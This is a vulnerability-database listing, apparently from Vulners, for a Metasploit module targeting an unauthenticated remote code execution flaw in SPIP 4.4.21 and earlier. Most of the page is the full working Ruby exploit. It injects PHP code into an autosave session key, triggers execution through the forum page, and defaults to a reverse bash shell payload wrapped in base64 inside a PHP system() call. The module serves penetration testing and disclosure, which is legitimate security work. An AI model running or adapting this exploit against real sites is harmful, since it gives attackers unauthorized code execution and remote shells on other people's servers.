Lucene search
+L

SPIP Autosave Session Unauthenticated RCE

🗓️ 30 Aug 2026 00:00:00Reported by Julien VoisinType 
metasploit
 metasploit
🔗 www.rapid7.com👁 4 Views

Unauthenticated RCE in SPIP <= 4.4.21 via forum autosave session handler.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Spip
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SPIP Autosave Session Unauthenticated RCE',
        'Description' => %q{
          This module exploits an unauthenticated RCE in SPIP <= 4.4.21
          via the forum autosave session handler. The action=session
          endpoint allows any visitor to store arbitrary data in a PHP
          session variable. By writing PHP code into an autosave_forum_*
          session key, the code is executed by the template engine when
          the forum form page is rendered with the poisoned session.

          Requires a published article with public forums enabled.
        },
        'Author' => [
          'Julien Voisin' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-4-22.html']
        ],
        'Targets' => [
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
            }
          ]
        ],
        # PHP payloads die when the HTTP request ends; meterpreter timeouts; a backgrounded shell command survives.
        'DefaultOptions' => { 'WfsDelay' => 5, 'PAYLOAD' => 'cmd/unix/reverse_bash' }, # rubocop:disable Lint/ModuleDefaultPayload
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2026-08-30',
        'Payload' => {
          'BadChars' => "'\""
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('ARTICLE', [true, 'Path to article with public forum (e.g. ?article1)', '?article1'])
    ])
  end

  def article_uri
    article = datastore['ARTICLE']
    if article.start_with?('/')
      normalize_uri(target_uri.path, article)
    else
      article = article.delete_prefix('?')
      "#{normalize_uri(target_uri.path, 'spip.php')}?#{article}"
    end
  end

  def extract_autosave_hash
    res = send_request_cgi('method' => 'GET', 'uri' => article_uri)
    return nil unless res&.body

    html = res.get_html_document
    input = html.at_css('input[name="autosave"]')
    input&.[]('value')&.match(/\Aforum_([a-f0-9]+)\z/)&.[](1)
  end

  def inject_autosave(hash, php_code, cookie: nil)
    # val is parsed by SPIP as form-encoded key=value; the PHP code must be
    # URI-encoded inside it so special chars don't break the parser. The
    # framework's vars_post adds a second encoding layer for the HTTP body.
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'spip.php'),
      'cookie' => cookie,
      'vars_post' => {
        'action' => 'session',
        'var' => "autosave_forum_#{hash}",
        'val' => "_hidden=#{Rex::Text.uri_encode(php_code)}"
      }
    )
  end

  def check
    rversion = spip_version || spip_plugin_version('spip')
    return CheckCode::Unknown('Unable to determine the version of SPIP') unless rversion

    print_status("SPIP Version detected: #{rversion}")
    return CheckCode::Safe("SPIP #{rversion} is not vulnerable") if rversion > Rex::Version.new('4.4.21')

    hash = extract_autosave_hash
    return CheckCode::Safe('No autosave forum form found on the target article') unless hash

    marker = Rex::Text.rand_text_alpha(16)
    res = inject_autosave(hash, "<?php echo '#{marker}'; ?>")
    return CheckCode::Unknown('Failed to store session data') unless res

    begin
      cookie = res.get_cookies
      res = send_request_cgi(
        'method' => 'GET', 'uri' => article_uri, 'cookie' => cookie
      )
      return CheckCode::Unknown('Target did not respond') unless res

      if res.body&.include?(marker)
        CheckCode::Vulnerable('PHP code executed via autosave session injection')
      else
        CheckCode::Safe('PHP code was not executed')
      end
    ensure
      inject_autosave(hash, '', cookie: cookie)
    end
  end

  def exploit
    hash = extract_autosave_hash
    fail_with(Failure::NotVulnerable, 'No autosave forum form found') unless hash

    b64 = Rex::Text.encode_base64("(#{payload.encoded}) &").delete("\n")
    phped_payload = "@system('/bin/sh -c '.escapeshellarg(base64_decode('#{b64}')));"
    php_code = "<?php #{phped_payload} ?>"

    res = inject_autosave(hash, php_code)
    fail_with(Failure::UnexpectedReply, 'Failed to store payload in session') unless res

    begin
      cookie = res.get_cookies
      print_status('Triggering payload execution...')
      send_request_cgi(
        'method' => 'GET', 'uri' => article_uri, 'cookie' => cookie
      )
    ensure
      inject_autosave(hash, '', cookie: cookie)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Aug 2026 00:00Current
6Medium risk
Vulners AI Score6
4